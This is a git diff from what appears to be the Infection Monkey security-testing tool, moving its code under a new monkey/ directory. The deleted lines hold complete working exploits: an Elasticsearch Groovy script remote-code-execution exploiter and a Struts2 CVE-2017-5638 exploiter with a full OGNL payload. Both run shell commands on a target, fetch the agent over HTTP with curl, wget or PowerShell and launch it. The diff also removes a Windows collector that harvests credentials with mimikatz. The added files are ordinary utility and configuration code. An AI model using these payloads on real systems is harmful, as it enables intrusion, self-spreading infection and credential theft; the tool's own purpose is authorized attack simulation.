diff --git a/.gitignore b/.gitignore
index 403d090ad..44ae856a5 100644
--- a/.gitignore
+++ b/.gitignore
@@ -62,9 +62,9 @@ docs/_build/
# PyBuilder
target/
-db
bin
-/monkey_island/cc/server.key
-/monkey_island/cc/server.crt
-/monkey_island/cc/server.csr
-monkey_island/cc/ui/node_modules/
+/monkey/monkey_island/db
+/monkey/monkey_island/cc/server.key
+/monkey/monkey_island/cc/server.crt
+/monkey/monkey_island/cc/server.csr
+/monkey/monkey_island/cc/ui/node_modules/
diff --git a/.travis.yml b/.travis.yml
index 8b780e2fc..963c37fc6 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -4,14 +4,11 @@ cache: pip
python:
- 2.7
- 3.6
- #- nightly
- #- pypy
- #- pypy3
matrix:
- allow_failures:
- - python: nightly
- - python: pypy
- - python: pypy3
+ include:
+ - python: 3.7
+ dist: xenial # required for Python 3.7 (travis-ci/travis-ci#9069)
+ sudo: required # required for Python 3.7 (travis-ci/travis-ci#9069)
install:
#- pip install -r requirements.txt
- pip install flake8 # pytest # add another testing frameworks later
diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py
deleted file mode 100644
index 989ae5cdf..000000000
--- a/infection_monkey/exploit/elasticgroovy.py
+++ /dev/null
@@ -1,238 +0,0 @@
-"""
- Implementation is based on elastic search groovy exploit by metasploit
- https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb
- Max vulnerable elasticsearch version is "1.4.2"
-"""
-
-import json
-import logging
-
-import requests
-
-from exploit import HostExploiter
-from model import DROPPER_ARG
-from network.elasticfinger import ES_SERVICE, ES_PORT
-from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth
-
-__author__ = 'danielg'
-
-LOG = logging.getLogger(__name__)
-
-
-class ElasticGroovyExploiter(HostExploiter):
- # attack URLs
- BASE_URL = 'http://%s:%s/_search?pretty'
- MONKEY_RESULT_FIELD = "monkey_result"
- GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
- JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
- JAVA_GET_TMP_DIR = \
- GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
- JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
- JAVA_CMD = GENERIC_QUERY \
- % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
- JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
-
- DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
-
- _TARGET_OS_TYPE = ['linux', 'windows']
-
- def __init__(self, host):
- super(ElasticGroovyExploiter, self).__init__(host)
- self._config = __import__('config').WormConfiguration
- self.skip_exist = self._config.skip_exploit_if_file_exist
-
- def is_os_supported(self):
- """
- Checks if the host is vulnerable.
- Either using version string or by trying to attack
- :return:
- """
- if not super(ElasticGroovyExploiter, self).is_os_supported():
- return False
-
- if ES_SERVICE not in self.host.services:
- LOG.info("Host: %s doesn't have ES open" % self.host.ip_addr)
- return False
- major, minor, build = self.host.services[ES_SERVICE]['version'].split('.')
- major = int(major)
- minor = int(minor)
- build = int(build)
- if major > 1:
- return False
- if major == 1 and minor > 4:
- return False
- if major == 1 and minor == 4 and build > 2:
- return False
- return self.is_vulnerable()
-
- def exploit_host(self):
- real_host_os = self.get_host_os()
- self.host.os['type'] = str(real_host_os.lower()) # strip unicode characters
- if 'linux' in self.host.os['type']:
- return self.exploit_host_linux()
- else:
- return self.exploit_host_windows()
-
- def exploit_host_windows(self):
- """
- TODO
- Will exploit windows similar to smbexec
- :return:
- """
- return False
-
- def exploit_host_linux(self):
- """
- Exploits linux using similar flow to sshexec and shellshock.
- Meaning run remote commands to copy files over HTTP
- :return:
- """
- uname_machine = str(self.get_linux_arch())
- if len(uname_machine) != 0:
- self.host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters
- dropper_target_path_linux = self._config.dropper_target_path_linux
- if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)):
- LOG.info("Host %s was already infected under the current configuration, done" % self.host)
- return True # return already infected
- src_path = get_target_monkey(self.host)
- if not src_path:
- LOG.info("Can't find suitable monkey executable for host %r", self.host)
- return False
-
- if not self.download_file_in_linux(src_path, target_path=dropper_target_path_linux):
- return False
-
- self.set_file_executable_linux(dropper_target_path_linux)
- self.run_monkey_linux(dropper_target_path_linux)
-
- if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
- LOG.info("Log file does not exist, monkey might not have run")
-
- return True
-
- def run_monkey_linux(self, dropper_target_path_linux):
- """
- Runs the monkey
- """
-
- cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
- cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, location=dropper_target_path_linux)
- cmdline += ' & '
- self.run_shell_command(cmdline)
- LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
- self._config.dropper_target_path_linux, self.host, cmdline)
- if not (self.check_if_remote_file_exists_linux(self._config.dropper_log_path_linux)):
- LOG.info("Log file does not exist, monkey might not have run")
-
- def download_file_in_linux(self, src_path, target_path):
- """
- Downloads a file in target machine using curl to the given target path
- :param src_path: File path relative to the monkey
- :param target_path: Target path in linux victim
- :return: T/F
- """
- http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
- if not http_path:
- LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
- return False
- download_command = '/usr/bin/curl %s -o %s' % (
- http_path, target_path)
- self.run_shell_command(download_command)
- http_thread.join(self.DOWNLOAD_TIMEOUT)
- http_thread.stop()
- if (http_thread.downloads != 1) or (
- 'ELF' not in
- self.check_if_remote_file_exists_linux(target_path)):
- LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
- return False
- return True
-
- def set_file_executable_linux(self, file_path):
- """
- Marks the given file as executable using chmod
- :return: Nothing
- """
- chmod = '/bin/chmod +x %s' % file_path
- self.run_shell_command(chmod)
- LOG.info("Marked file %s on host %s as executable", file_path, self.host)
-
- def check_if_remote_file_exists_linux(self, file_path):
- """
- :return:
- """
- cmdline = '/usr/bin/head -c 4 %s' % file_path
- return self.run_shell_command(cmdline)
-
- def run_shell_command(self, command):
- """
- Runs a single shell command and returns the result.
- """
- payload = self.JAVA_CMD % command
- result = self.get_command_result(payload)
- LOG.info("Ran the command %s on host %s", command, self.host)
- return result
-
- def get_linux_arch(self):
- """
- Returns host as per uname -m
- """
- return self.get_command_result(self.JAVA_GET_BIT_LINUX)
-
- def get_host_tempdir(self):
- """
- Returns where to write our file given our permissions
- :return: Temp directory path in target host
- """
- return self.get_command_result(self.JAVA_GET_TMP_DIR)
-
- def get_host_os(self):
- """
- :return: target OS
- """
- return self.get_command_result(self.JAVA_GET_OS)
-
- def is_vulnerable(self):
- """
- Checks if a given elasticsearch host is vulnerable to the groovy attack
- :return: True/False
- """
- result_text = self.get_command_result(self.JAVA_IS_VULNERABLE)
- return 'java.lang.Runtime' in result_text
-
- def get_command_result(self, payload):
- """
- Gets the result of an attack payload with a single return value.
- :param payload: Payload that fits the GENERIC_QUERY template.
- """
- result = self.attack_query(payload)
- if not result: # not vulnerable
- return ""
- return result[0]
-
- def attack_query(self, payload):
- """
- Wraps the requests query and the JSON parsing.
- Just reduce opportunity for bugs
- :return: List of data fields or None
- """
- response = requests.get(self.attack_url(), data=payload)
- result = self.get_results(response)
- return result
-
- def attack_url(self):
- """
- Composes the URL to attack per host IP and port.
- :return: Elasticsearch vulnerable URL
- """
- return self.BASE_URL % (self.host.ip_addr, ES_PORT)
-
- def get_results(self, response):
- """
- Extracts the result data from our attack
- :return: List of data fields or None
- """
- try:
- json_resp = json.loads(response.text)
- return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
- except (KeyError, IndexError):
- return None
diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py
deleted file mode 100644
index 3a08d0487..000000000
--- a/infection_monkey/exploit/struts2.py
+++ /dev/null
@@ -1,246 +0,0 @@
-"""
- Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 )
- code used is from https://www.exploit-db.com/exploits/41570/
- Vulnerable struts2 versions <=2.3.31 and <=2.5.10
-"""
-import urllib2
-import httplib
-import unicodedata
-import re
-
-import logging
-from exploit import HostExploiter
-from exploit.tools import get_target_monkey, get_monkey_depth
-from tools import build_monkey_commandline, HTTPTools
-from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \
- DROPPER_ARG
-
-__author__ = "VakarisZ"
-
-LOG = logging.getLogger(__name__)
-
-DOWNLOAD_TIMEOUT = 300
-
-class Struts2Exploiter(HostExploiter):
- _TARGET_OS_TYPE = ['linux', 'windows']
-
- def __init__(self, host):
- super(Struts2Exploiter, self).__init__(host)
- self._config = __import__('config').WormConfiguration
- self.skip_exist = self._config.skip_exploit_if_file_exist
- self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
-
- def exploit_host(self):
- dropper_path_linux = self._config.dropper_target_path_linux
- dropper_path_win_32 = self._config.dropper_target_path_win_32
- dropper_path_win_64 = self._config.dropper_target_path_win_64
-
- ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"])
-
- if not ports:
- LOG.info("All web ports are closed on %r, skipping", self.host)
- return False
-
- for port in ports:
- if port[1]:
- current_host = "https://%s:%s" % (self.host.ip_addr, port[0])
- else:
- current_host = "http://%s:%s" % (self.host.ip_addr, port[0])
- # Get full URL
- url = self.get_redirected(current_host)
- LOG.info("Trying to exploit with struts2")
- # Check if host is vulnerable and get host os architecture
- if 'linux' in self.host.os['type']:
- return self.exploit_linux(url, dropper_path_linux)
- else:
- return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
-
- def check_remote_file(self, host, path):
- command = EXISTS % path
- resp = self.exploit(host, command)
- if 'No such file' in resp:
- return False
- else:
- LOG.info("Host %s was already infected under the current configuration, done" % self.host)
- return True
-
- def exploit_linux(self, url, dropper_path):
- host_arch = Struts2Exploiter.check_exploit_linux(url)
- if host_arch:
- self.host.os['machine'] = host_arch
- if url and host_arch:
- LOG.info("Host is exploitable with struts2 RCE vulnerability")
- # If monkey already exists and option not to exploit in that case is selected
- if self.skip_exist and self.check_remote_file(url, dropper_path):
- LOG.info("Host %s was already infected under the current configuration, done" % self.host)
- return True
-
- src_path = get_target_monkey(self.host)
- if not src_path:
- LOG.info("Can't find suitable monkey executable for host %r", self.host)
- return False
- # create server for http download.
- http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
- if not http_path:
- LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
- return False
- LOG.info("Started http server on %s", http_path)
-
- cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)
-
- command = WGET_HTTP % {'monkey_path': dropper_path,
- 'http_path': http_path, 'parameters': cmdline}
-
- self.exploit(url, command)
-
- http_thread.join(DOWNLOAD_TIMEOUT)
- http_thread.stop()
- LOG.info("Struts2 exploit attempt finished")
-
- return True
-
- return False
-
- def exploit_windows(self, url, dropper_paths):
- """
- :param url: Where to send malicious request
- :param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat
- :return: Bool. Successfully exploited or not
- """
- host_arch = Struts2Exploiter.check_exploit_windows(url)
- if host_arch:
- self.host.os['machine'] = host_arch
- if url and host_arch:
- LOG.info("Host is exploitable with struts2 RCE vulnerability")
- # If monkey already exists and option not to exploit in that case is selected
- if self.skip_exist:
- for dropper_path in dropper_paths:
- if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)):
- LOG.info("Host %s was already infected under the current configuration, done" % self.host)
- return True
-
- src_path = get_target_monkey(self.host)
- if not src_path:
- LOG.info("Can't find suitable monkey executable for host %r", self.host)
- return False
- # Select the dir and name for monkey on the host
- if "windows-32" in src_path:
- dropper_path = dropper_paths[0]
- else:
- dropper_path = dropper_paths[1]
- # create server for http download.
- http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
- if not http_path:
- LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
- return False
- LOG.info("Started http server on %s", http_path)
-
- # We need to double escape backslashes. Once for payload, twice for command
- cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path))
-
- command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
- 'http_path': http_path, 'parameters': cmdline}
-
- backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
- 'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG}
-
- resp = self.exploit(url, command)
-
- if 'powershell is not recognized' in resp:
- self.exploit(url, backup_command)
-
- http_thread.join(DOWNLOAD_TIMEOUT)
- http_thread.stop()
- LOG.info("Struts2 exploit attempt finished")
-
- return True
-
- return False
-
- @staticmethod
- def check_exploit_windows(url):
- resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
- if resp and ID_STRING in resp:
- if "64-bit" in resp:
- return "64"
- else:
- return "32"
- else:
- return False
-
- @staticmethod
- def check_exploit_linux(url):
- resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
- if resp and ID_STRING in resp:
- # Pulls architecture string
- arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
- arch = arch.group(1)
- return arch
- else:
- return False
-
- @staticmethod
- def get_redirected(url):
- # Returns false if url is not right
- headers = {'User-Agent': 'Mozilla/5.0'}
- request = urllib2.Request(url, headers=headers)
- try:
- return urllib2.urlopen(request).geturl()
- except urllib2.URLError:
- LOG.error("Can't reach struts2 server")
- return False
-
- @staticmethod
- def exploit(url, cmd):
- """
- :param url: Full url to send request to
- :param cmd: Code to try and execute on host
- :return: response
- """
- payload = "%%{(#_='multipart/form-data')." \
- "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
- "(#_memberAccess?" \
- "(#_memberAccess=#dm):" \
- "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
- "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
- "(#ognlUtil.getExcludedPackageNames().clear())." \
- "(#ognlUtil.getExcludedClasses().clear())." \
- "(#context.setMemberAccess(#dm))))." \
- "(#cmd='%s')." \
- "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \
- "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
- "(#p=new java.lang.ProcessBuilder(#cmds))." \
- "(#p.redirectErrorStream(true)).(#process=#p.start())." \
- "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
- "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
- "(#ros.flush())}" % cmd
- # Turns payload ascii just for consistency
- if isinstance(payload, unicode):
- payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
- headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
- try:
- request = urllib2.Request(url, headers=headers)
- # Timeout added or else we would wait for all monkeys' output
- page = urllib2.urlopen(request).read()
- except AttributeError:
- # If url does not exist
- return False
- except httplib.IncompleteRead as e:
- page = e.partial
-
- return page
-
- @staticmethod
- def get_exploitable_ports(host, port_list, names):
- candidate_services = {}
- for name in names:
- chosen_services = {
- service: host.services[service] for service in host.services if
- ('name' in host.services[service]) and (host.services[service]['name'] == name)
- }
- candidate_services.update(chosen_services)
-
- valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
- 'tcp-' + str(port) in candidate_services]
-
- return valid_ports
diff --git a/infection_monkey/network/__init__.py b/infection_monkey/network/__init__.py
deleted file mode 100644
index fa15e357c..000000000
--- a/infection_monkey/network/__init__.py
+++ /dev/null
@@ -1,30 +0,0 @@
-from abc import ABCMeta, abstractmethod
-
-__author__ = 'itamar'
-
-
-class HostScanner(object):
- __metaclass__ = ABCMeta
-
- @abstractmethod
- def is_host_alive(self, host):
- raise NotImplementedError()
-
-
-class HostFinger(object):
- __metaclass__ = ABCMeta
-
- @abstractmethod
- def get_host_fingerprint(self, host):
- raise NotImplementedError()
-
-from ping_scanner import PingScanner
-from tcp_scanner import TcpScanner
-from smbfinger import SMBFinger
-from sshfinger import SSHFinger
-from httpfinger import HTTPFinger
-from elasticfinger import ElasticFinger
-from mysqlfinger import MySQLFinger
-from info import local_ips
-from info import get_free_tcp_port
-from mssql_fingerprint import MSSQLFinger
\ No newline at end of file
diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py
deleted file mode 100644
index 610c4e8e3..000000000
--- a/infection_monkey/system_info/windows_info_collector.py
+++ /dev/null
@@ -1,34 +0,0 @@
-import logging
-
-from mimikatz_collector import MimikatzCollector
-from . import InfoCollector
-
-LOG = logging.getLogger(__name__)
-
-__author__ = 'uri'
-
-
-class WindowsInfoCollector(InfoCollector):
- """
- System information collecting module for Windows operating systems
- """
-
- def __init__(self):
- super(WindowsInfoCollector, self).__init__()
-
- def get_info(self):
- """
- Collect Windows system information
- Hostname, process list and network subnets
- Tries to read credential secrets using mimikatz
- :return: Dict of system information
- """
- LOG.debug("Running Windows collector")
- self.get_hostname()
- self.get_process_list()
- self.get_network_info()
- self.get_azure_info()
- mimikatz_collector = MimikatzCollector()
- mimikatz_info = mimikatz_collector.get_logon_info()
- self.info["credentials"].update(mimikatz_info)
- return self.info
diff --git a/infection_monkey/transport/__init__.py b/infection_monkey/transport/__init__.py
deleted file mode 100644
index 651964fcb..000000000
--- a/infection_monkey/transport/__init__.py
+++ /dev/null
@@ -1,4 +0,0 @@
-from ftp import FTPServer
-from http import HTTPServer
-
-__author__ = 'hoffer'
diff --git a/infection_monkey/transport/ftp.py b/infection_monkey/transport/ftp.py
deleted file mode 100644
index c90f8c484..000000000
--- a/infection_monkey/transport/ftp.py
+++ /dev/null
@@ -1,174 +0,0 @@
-import socket, threading, time
-import StringIO
-
-__author__ = 'hoffer'
-
-
-class FTPServer(threading.Thread):
- def __init__(self, local_ip, local_port, files):
- self.files=files
- self.cwd='/'
- self.mode='I'
- self.rest=False
- self.pasv_mode=False
- self.local_ip = local_ip
- self.local_port = local_port
- threading.Thread.__init__(self)
-
- def run(self):
- self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- self.sock.bind((self.local_ip,self.local_port))
- self.sock.listen(1)
-
- self.conn, self.addr = self.sock.accept()
-
- self.conn.send('220 Welcome!\r\n')
- while True:
- if 0 == len(self.files):
- break
- cmd=self.conn.recv(256)
- if not cmd: break
- else:
- try:
- func=getattr(self,cmd[:4].strip().upper())
- func(cmd)
- except Exception as e:
- self.conn.send('500 Sorry.\r\n')
- break
-
- self.conn.close()
- self.sock.close()
-
- def SYST(self,cmd):
- self.conn.send('215 UNIX Type: L8\r\n')
- def OPTS(self,cmd):
- if cmd[5:-2].upper()=='UTF8 ON':
- self.conn.send('200 OK.\r\n')
- else:
- self.conn.send('451 Sorry.\r\n')
- def USER(self,cmd):
- self.conn.send('331 OK.\r\n')
-
- def PASS(self,cmd):
- self.conn.send('230 OK.\r\n')
-
- def QUIT(self,cmd):
- self.conn.send('221 Goodbye.\r\n')
-
- def NOOP(self,cmd):
- self.conn.send('200 OK.\r\n')
-
- def TYPE(self,cmd):
- self.mode=cmd[5]
- self.conn.send('200 Binary mode.\r\n')
-
- def CDUP(self,cmd):
- self.conn.send('200 OK.\r\n')
-
- def PWD(self,cmd):
- self.conn.send('257 \"%s\"\r\n' % self.cwd)
-
- def CWD(self,cmd):
- self.conn.send('250 OK.\r\n')
-
- def PORT(self,cmd):
- if self.pasv_mode:
- self.servsock.close()
- self.pasv_mode = False
- l = cmd[5:].split(',')
- self.dataAddr='.'.join(l[:4])
- self.dataPort=(int(l[4])<<8)+int(l[5])
- self.conn.send('200 Get port.\r\n')
-
- def PASV(self,cmd):
- self.pasv_mode = True
- self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- self.servsock.bind((self.local_ip,0))
- self.servsock.listen(1)
- ip, port = self.servsock.getsockname()
- self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' %
- (','.join(ip.split('.')), port>>8&0xFF, port&0xFF))
-
- def start_datasock(self):
- if self.pasv_mode:
- self.datasock, addr = self.servsock.accept()
- else:
- self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- self.datasock.connect((self.dataAddr,self.dataPort))
-
- def stop_datasock(self):
- self.datasock.close()
- if self.pasv_mode:
- self.servsock.close()
-
- def LIST(self,cmd):
- self.conn.send('150 Here comes the directory listing.\r\n')
- self.start_datasock()
- for fn in self.files.keys():
- k=self.toListItem(fn)
- self.datasock.send(k+'\r\n')
- self.stop_datasock()
- self.conn.send('226 Directory send OK.\r\n')
-
- def toListItem(self,fn):
- fullmode='rwxrwxrwx'
- mode = ''
- d = '-'
- ftime=time.strftime(' %b %d %H:%M ', time.gmtime())
- return d+fullmode+' 1 user group '+str(self.files[fn].tell())+ftime+fn
-
- def MKD(self,cmd):
- self.conn.send('257 Directory created.\r\n')
-
- def RMD(self,cmd):
- self.conn.send('450 Not allowed.\r\n')
-
- def DELE(self,cmd):
- self.conn.send('450 Not allowed.\r\n')
-
- def SIZE(self,cmd):
- self.conn.send('450 Not allowed.\r\n')
-
- def RNFR(self,cmd):
- self.conn.send('350 Ready.\r\n')
-
- def RNTO(self,cmd):
- self.conn.send('250 File renamed.\r\n')
-
- def REST(self,cmd):
- self.pos=int(cmd[5:-2])
- self.rest=True
- self.conn.send('250 File position reseted.\r\n')
-
- def RETR(self,cmd):
- fn = cmd[5:-2]
- if self.mode=='I':
- fi=self.files[fn]
- else:
- fi=self.files[fn]
- self.conn.send('150 Opening data connection.\r\n')
- if self.rest:
- fi.seek(self.pos)
- self.rest=False
- data= fi.read(1024)
- self.start_datasock()
- while data:
- self.datasock.send(data)
- data=fi.read(1024)
- fi.close()
- del self.files[fn]
- self.stop_datasock()
- self.conn.send('226 Transfer complete.\r\n')
-
- def STOR(self,cmd):
- fn = cmd[5:-2]
- fo = StringIO.StringIO()
- self.conn.send('150 Opening data connection.\r\n')
- self.start_datasock()
- while True:
- data=self.datasock.recv(1024)
- if not data: break
- fo.write(data)
- fo.seek(0)
- self.stop_datasock()
- self.conn.send('226 Transfer complete.\r\n')
diff --git a/common/__init__.py b/monkey/__init__.py
similarity index 100%
rename from common/__init__.py
rename to monkey/__init__.py
diff --git a/common/network/__init__.py b/monkey/common/__init__.py
similarity index 100%
rename from common/network/__init__.py
rename to monkey/common/__init__.py
diff --git a/monkey/common/network/__init__.py b/monkey/common/network/__init__.py
new file mode 100644
index 000000000..ee5b79ad0
--- /dev/null
+++ b/monkey/common/network/__init__.py
@@ -0,0 +1 @@
+__author__ = 'itay.mizeretz'
diff --git a/common/network/network_range.py b/monkey/common/network/network_range.py
similarity index 100%
rename from common/network/network_range.py
rename to monkey/common/network/network_range.py
diff --git a/monkey/common/utils/__init__.py b/monkey/common/utils/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/common/utils/mongo_utils.py b/monkey/common/utils/mongo_utils.py
new file mode 100644
index 000000000..7524a545e
--- /dev/null
+++ b/monkey/common/utils/mongo_utils.py
@@ -0,0 +1,83 @@
+import wmi
+import win32com
+
+__author__ = 'maor.rayzin'
+
+
+class MongoUtils:
+
+ def __init__(self):
+ # Static class
+ pass
+
+ @staticmethod
+ def fix_obj_for_mongo(o):
+ if type(o) == dict:
+ return dict([(k, MongoUtils.fix_obj_for_mongo(v)) for k, v in o.iteritems()])
+
+ elif type(o) in (list, tuple):
+ return [MongoUtils.fix_obj_for_mongo(i) for i in o]
+
+ elif type(o) in (int, float, bool):
+ return o
+
+ elif type(o) in (str, unicode):
+ # mongo dosn't like unprintable chars, so we use repr :/
+ return repr(o)
+
+ elif hasattr(o, "__class__") and o.__class__ == wmi._wmi_object:
+ return MongoUtils.fix_wmi_obj_for_mongo(o)
+
+ elif hasattr(o, "__class__") and o.__class__ == win32com.client.CDispatch:
+ try:
+ # objectSid property of ds_user is problematic and need thie special treatment.
+ # ISWbemObjectEx interface. Class Uint8Array ?
+ if str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid) == "{269AD56A-8A67-4129-BC8C-0506DCFE9880}":
+ return o.Value
+ except:
+ pass
+
+ try:
+ return o.GetObjectText_()
+ except:
+ pass
+
+ return repr(o)
+
+ else:
+ return repr(o)
+
+ @staticmethod
+ def fix_wmi_obj_for_mongo(o):
+ row = {}
+
+ for prop in o.properties:
+ try:
+ value = getattr(o, prop)
+ except wmi.x_wmi:
+ # This happens in Win32_GroupUser when the user is a domain user.
+ # For some reason, the wmi query for PartComponent fails. This table
+ # is actually contains references to Win32_UserAccount and Win32_Group.
+ # so instead of reading the content to the Win32_UserAccount, we store
+ # only the id of the row in that table, and get all the other information
+ # from that table while analyzing the data.
+ value = o.properties[prop].value
+
+ row[prop] = MongoUtils.fix_obj_for_mongo(value)
+
+ for method_name in o.methods:
+ if not method_name.startswith("GetOwner"):
+ continue
+
+ method = getattr(o, method_name)
+
+ try:
+ value = method()
+ value = MongoUtils.fix_obj_for_mongo(value)
+ row[method_name[3:]] = value
+
+ except wmi.x_wmi:
+ continue
+
+ return row
+
diff --git a/monkey/common/utils/reg_utils.py b/monkey/common/utils/reg_utils.py
new file mode 100644
index 000000000..1e6c297b3
--- /dev/null
+++ b/monkey/common/utils/reg_utils.py
@@ -0,0 +1,25 @@
+import _winreg
+
+from common.utils.mongo_utils import MongoUtils
+
+__author__ = 'maor.rayzin'
+
+
+class RegUtils:
+
+ def __init__(self):
+ # Static class
+ pass
+
+ @staticmethod
+ def get_reg_key(subkey_path, store=_winreg.HKEY_LOCAL_MACHINE):
+ key = _winreg.ConnectRegistry(None, store)
+ subkey = _winreg.OpenKey(key, subkey_path)
+
+ d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[0])])
+ d = MongoUtils.fix_obj_for_mongo(d)
+
+ subkey.Close()
+ key.Close()
+
+ return d
diff --git a/monkey/common/utils/wmi_utils.py b/monkey/common/utils/wmi_utils.py
new file mode 100644
index 000000000..7b1dae455
--- /dev/null
+++ b/monkey/common/utils/wmi_utils.py
@@ -0,0 +1,27 @@
+import wmi
+
+from mongo_utils import MongoUtils
+
+__author__ = 'maor.rayzin'
+
+
+class WMIUtils:
+
+ def __init__(self):
+ # Static class
+ pass
+
+ @staticmethod
+ def get_wmi_class(class_name, moniker="//./root/cimv2", properties=None):
+ _wmi = wmi.WMI(moniker=moniker)
+
+ try:
+ if not properties:
+ wmi_class = getattr(_wmi, class_name)()
+ else:
+ wmi_class = getattr(_wmi, class_name)(properties)
+
+ except wmi.x_wmi:
+ return
+
+ return MongoUtils.fix_obj_for_mongo(wmi_class)
diff --git a/monkey/infection_monkey.py b/monkey/infection_monkey.py
new file mode 100644
index 000000000..86e5f5657
--- /dev/null
+++ b/monkey/infection_monkey.py
@@ -0,0 +1,4 @@
+import infection_monkey.main
+
+if "__main__" == __name__:
+ infection_monkey.main.main()
diff --git a/monkey/infection_monkey/__init__.py b/monkey/infection_monkey/__init__.py
new file mode 100644
index 000000000..ee5b79ad0
--- /dev/null
+++ b/monkey/infection_monkey/__init__.py
@@ -0,0 +1 @@
+__author__ = 'itay.mizeretz'
diff --git a/infection_monkey/build_linux.sh b/monkey/infection_monkey/build_linux.sh
similarity index 100%
rename from infection_monkey/build_linux.sh
rename to monkey/infection_monkey/build_linux.sh
diff --git a/infection_monkey/build_windows.bat b/monkey/infection_monkey/build_windows.bat
similarity index 100%
rename from infection_monkey/build_windows.bat
rename to monkey/infection_monkey/build_windows.bat
diff --git a/infection_monkey/config.py b/monkey/infection_monkey/config.py
similarity index 74%
rename from infection_monkey/config.py
rename to monkey/infection_monkey/config.py
index 818bc75a0..4a63c082b 100644
--- a/infection_monkey/config.py
+++ b/monkey/infection_monkey/config.py
@@ -1,15 +1,13 @@
import os
-import struct
+import json
import sys
import types
import uuid
from abc import ABCMeta
from itertools import product
+import importlib
-from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
- SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter
-from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \
- MSSQLFinger
+importlib.import_module('infection_monkey', 'network')
__author__ = 'itamar'
@@ -18,57 +16,47 @@ GUID = str(uuid.getnode())
EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin')
-def _cast_by_example(value, example):
- """
- a method that casts a value to the type of the parameter given as example
- """
- example_type = type(example)
- if example_type is str:
- return os.path.expandvars(value).encode("utf8")
- elif example_type is tuple and len(example) != 0:
- if value is None or value == tuple([None]):
- return tuple()
- return tuple([_cast_by_example(x, example[0]) for x in value])
- elif example_type is list and len(example) != 0:
- if value is None or value == [None]:
- return []
- return [_cast_by_example(x, example[0]) for x in value]
- elif example_type is type(value):
- return value
- elif example_type is bool:
- return value.lower() == 'true'
- elif example_type is int:
- return int(value)
- elif example_type is float:
- return float(value)
- elif example_type in (type, ABCMeta):
- return globals()[value]
- else:
- return None
-
-
